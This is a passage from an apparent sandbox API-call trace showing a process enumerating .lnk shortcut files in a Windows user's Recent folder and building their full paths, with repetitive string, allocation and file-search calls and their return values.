lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="M VM-W8ibnNtUjYzZy1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk" [0054.886] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.886] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0054.886] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0054.886] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.886] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.886] lstrcmpW (lpString1="M53SLY.lnk", lpString2=".") returned 1 [0054.886] lstrcmpW (lpString1="M53SLY.lnk", lpString2="..") returned 1 [0054.886] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="M53SLY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk" [0054.886] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.886] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0054.886] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0054.886] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.887] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.887] lstrcmpW (lpString1="mj7J-R46l5.lnk", lpString2=".") returned 1 [0054.887] lstrcmpW (lpString1="mj7J-R46l5.lnk", lpString2="..") returned 1 [0054.887] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="mj7J-R46l5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk" [0054.887] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.887] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0054.887] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0054.887] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.887] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.887] lstrcmpW (lpString1="MMSANU.lnk", lpString2=".") returned 1 [0054.887] lstrcmpW (lpString1="MMSANU.lnk", lpString2="..") returned 1 [0054.887] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="MMSANU.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk" [0054.887] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.887] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0054.887] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0054.887] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.887] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.887] lstrcmpW (lpString1="Music.lnk", lpString2=".") returned 1 [0054.887] lstrcmpW (lpString1="Music.lnk", lpString2="..") returned 1 [0054.887] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Music.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" [0054.887] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.888] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0054.888] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0054.888] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.888] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.888] lstrcmpW (lpString1="mxHA9QwX60.lnk", lpString2=".") returned 1 [0054.888] lstrcmpW (lpString1="mxHA9QwX60.lnk", lpString2="..") returned 1 [0054.888] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="mxHA9QwX60.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk" [0054.888] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.888] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0054.888] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0054.888] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.888] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.888] lstrcmpW (lpString1="niXUM m_uKc.lnk", lpString2=".") returned 1 [0054.888] lstrcmpW (lpString1="niXUM m_uKc.lnk", lpString2="..") returned 1 [0054.888] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="niXUM m_uKc.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk" [0054.888] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.888] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0054.888] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0054.888] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.889] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.889] lstrcmpW (lpString1="OGnlmvN61P.lnk", lpString2=".") returned 1 [0054.889] lstrcmpW (lpString1="OGnlmvN61P.lnk", lpString2="..") returned 1 [0054.889] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OGnlmvN61P.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk" [0054.889] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.889] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0054.889] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0054.889] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.889] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.889] lstrcmpW (lpString1="OOwKqpIl7aYSv RTHK.lnk", lpString2=".") returned 1 [0054.889] lstrcmpW (lpString1="OOwKqpIl7aYSv RTHK.lnk", lpString2="..") returned 1 [0054.889] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OOwKqpIl7aYSv RTHK.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk" [0054.889] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.889] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0054.889] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0054.889] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.889] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.889] lstrcmpW (lpString1="ORNdnmfJCdFA1es0enx.flv.lnk", lpString2=".") returned 1 [0054.889] lstrcmpW (lpString1="ORNdnmfJCdFA1es0enx.flv.lnk", lpString2="..") returned 1 [0054.889] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ORNdnmfJCdFA1es0enx.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk" [0054.889] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.890] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0054.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0054.890] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.890] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.890] lstrcmpW (lpString1="OukrMDnEpoe.lnk", lpString2=".") returned 1 [0054.890] lstrcmpW (lpString1="OukrMDnEpoe.lnk", lpString2="..") returned 1 [0054.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OukrMDnEpoe.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk" [0054.890] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.890] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0054.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0054.890] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.890] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.890] lstrcmpW (lpString1="oWXZt UxeIOr.lnk", lpString2=".") returned 1 [0054.890] lstrcmpW (lpString1="oWXZt UxeIOr.lnk", lpString2="..") returned 1 [0054.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="oWXZt UxeIOr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk" [0054.890] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.890] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0054.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0054.890] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.891] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.891] lstrcmpW (lpString1="pCAr B4s-Dnk.lnk", lpString2=".") returned 1 [0054.891] lstrcmpW (lpString1="pCAr B4s-Dnk.lnk", lpString2="..") returned 1 [0054.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="pCAr B4s-Dnk.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk" [0054.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.891] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0054.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0054.891] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.891] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.891] lstrcmpW (lpString1="pG1qS.lnk", lpString2=".") returned 1 [0054.891] lstrcmpW (lpString1="pG1qS.lnk", lpString2="..") returned 1 [0054.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="pG1qS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk" [0054.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.891] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0054.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0054.891] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.891] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.891] lstrcmpW (lpString1="Pictures.lnk", lpString2=".") returned 1 [0054.891] lstrcmpW (lpString1="Pictures.lnk", lpString2="..") returned 1 [0054.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Pictures.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" [0054.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.892] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0054.892] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0054.892] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.892] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.892] lstrcmpW (lpString1="PP7PZiVZnjg.lnk", lpString2=".") returned 1 [0054.892] lstrcmpW (lpString1="PP7PZiVZnjg.lnk", lpString2="..") returned 1 [0054.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="PP7PZiVZnjg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk" [0054.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.892] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0054.892] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0054.892] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.892] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.892] lstrcmpW (lpString1="ppRS2.lnk", lpString2=".") returned 1 [0054.892] lstrcmpW (lpString1="ppRS2.lnk", lpString2="..") returned 1 [0054.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ppRS2.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk" [0054.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.892] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0054.892] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0054.892] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.893] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.893] lstrcmpW (lpString1="ppTk R5o9qfrpMwcdZ.lnk", lpString2=".") returned 1 [0054.893] lstrcmpW (lpString1="ppTk R5o9qfrpMwcdZ.lnk", lpString2="..") returned 1 [0054.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ppTk R5o9qfrpMwcdZ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk" [0054.893] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.893] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0054.893] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0054.893] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.893] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.893] lstrcmpW (lpString1="py_6.lnk", lpString2=".") returned 1 [0054.893] lstrcmpW (lpString1="py_6.lnk", lpString2="..") returned 1 [0054.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="py_6.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk" [0054.893] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.893] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0054.893] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0054.893] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.893] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.893] lstrcmpW (lpString1="qVfwJx7xAD.lnk", lpString2=".") returned 1 [0054.893] lstrcmpW (lpString1="qVfwJx7xAD.lnk", lpString2="..") returned 1 [0054.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="qVfwJx7xAD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk" [0054.893] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.894] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0054.894] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0054.894] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.894] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.894] lstrcmpW (lpString1="R8M4R8KAn1bTR.lnk", lpString2=".") returned 1 [0054.894] lstrcmpW (lpString1="R8M4R8KAn1bTR.lnk", lpString2="..") returned 1 [0054.894] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="R8M4R8KAn1bTR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk" [0054.894] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.894] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0054.894] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0054.894] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.894] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.894] lstrcmpW (lpString1="rHf-1nu.lnk", lpString2=".") returned 1 [0054.894] lstrcmpW (lpString1="rHf-1nu.lnk", lpString2="..") returned 1 [0054.894] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="rHf-1nu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") 